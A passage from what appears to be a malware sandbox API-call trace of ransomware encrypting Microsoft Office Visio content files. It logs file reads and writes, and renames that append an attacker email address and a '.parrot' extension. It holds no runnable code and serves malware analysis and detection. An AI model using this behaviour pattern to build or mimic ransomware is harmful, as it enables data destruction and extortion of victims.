lpNumberOfBytesRead=0x18ebe4*=0x18000, lpOverlapped=0x0) returned 1 [0233.465] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.468] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFCICN_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfcicn_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFCICN_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfcicn_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0233.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0233.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0233.473] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e538 | out: hHeap=0x5b0000) returned 1 [0233.477] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0233.477] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0233.479] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.479] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x78000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x78000, lpOverlapped=0x0) returned 1 [0233.528] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.547] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFCRS_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfcrs_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFCRS_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfcrs_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0233.553] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0233.553] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0233.553] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0233.557] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0233.557] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0233.559] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.559] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x77e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x77e00, lpOverlapped=0x0) returned 1 [0233.595] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.684] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFCRS_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfcrs_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFCRS_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfcrs_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0233.689] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0233.689] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0233.689] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0233.746] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0233.746] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0233.748] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.748] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x27800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x27800, lpOverlapped=0x0) returned 1 [0233.760] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.769] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFCTRL_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfctrl_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFCTRL_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfctrl_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0233.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0233.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0233.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0233.779] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0233.780] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0233.781] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.781] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x26e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x26e00, lpOverlapped=0x0) returned 1 [0233.795] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.798] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFCTRL_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfctrl_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFCTRL_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfctrl_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0233.804] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0233.804] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0233.804] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0233.806] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0233.806] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0233.808] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.808] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0233.960] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.960] WriteFile (in: hFile=0x288, lpBuffer=0x22e6080*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x22e6080*, lpNumberOfBytesWritten=0x18ebe4*=0x118, lpOverlapped=0x0) returned 1 [0233.966] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.966] WriteFile (in: hFile=0x288, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0233.969] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x217b18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0233.969] CloseHandle (hObject=0x288) returned 1 [0233.970] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFDEP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfdep_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFDEP_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfdep_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0233.974] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0233.974] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0233.974] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0233.984] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0233.984] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0233.986] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.986] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0234.102] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.102] WriteFile (in: hFile=0x288, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18ebe4*=0x118, lpOverlapped=0x0) returned 1 [0234.245] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.245] WriteFile (in: hFile=0x288, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0234.248] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x215f18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0234.248] CloseHandle (hObject=0x288) returned 1 [0234.248] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFDEP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfdep_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFDEP_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfdep_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0234.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0234.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0234.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0234.312] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0234.312] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0234.314] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.314] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9e00, lpOverlapped=0x0) returned 1 [0234.319] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.321] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFDGM_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfdgm_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFDGM_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfdgm_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0234.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0234.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0234.327] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ee4f8 | out: hHeap=0x5b0000) returned 1 [0234.331] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0234.331] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0234.333] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.333] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9c00, lpOverlapped=0x0) returned 1 [0234.336] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.338] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFDGM_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfdgm_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFDGM_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfdgm_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0234.350] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0234.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0234.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ee4f8 | out: hHeap=0x5b0000) returned 1 [0234.365] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0234.365] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0234.367] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.367] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x17a00, lpOverlapped=0x0) returned 1 [0234.372] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.374] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFDLGS_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfdlgs_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFDLGS_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfdlgs_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0234.380] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0234.380] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0234.380] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e538 | out: hHeap=0x5b0000) returned 1 [0234.384] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0234.384] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0234.386] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.386] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x17400, lpOverlapped=0x0) returned 1 [0234.392] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.394] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFDLGS_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfdlgs_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFDLGS_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfdlgs_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0234.401] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0234.401] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0234.401] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e538 | out: hHeap=0x5b0000) returned 1 [0234.406] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0234.406] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0234.408] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.408] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xba400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xba400, lpOverlapped=0x0) returned 1 [0234.435] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.516] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFOBJ_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfobj_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFOBJ_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfobj_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0234.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0234.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0234.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0234.528] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0234.529] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0234.535] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.535] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb9800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb9800, lpOverlapped=0x0) returned 1 [0234.569] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.661] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb9918, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0234.661] CloseHandle (hObject=0x288) returned 1 [0234.661] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFOBJ_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfobj_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFOBJ_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfobj_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0234.714] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0234.714] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0234.714] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0234.721] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa7b18, nNumberOfBytesToLockHigh=0x0) returned 1 [0234.721] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0234.721] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0234.722] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.723] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa7a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xa7a00, lpOverlapped=0x0) returned 1 [0234.755] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 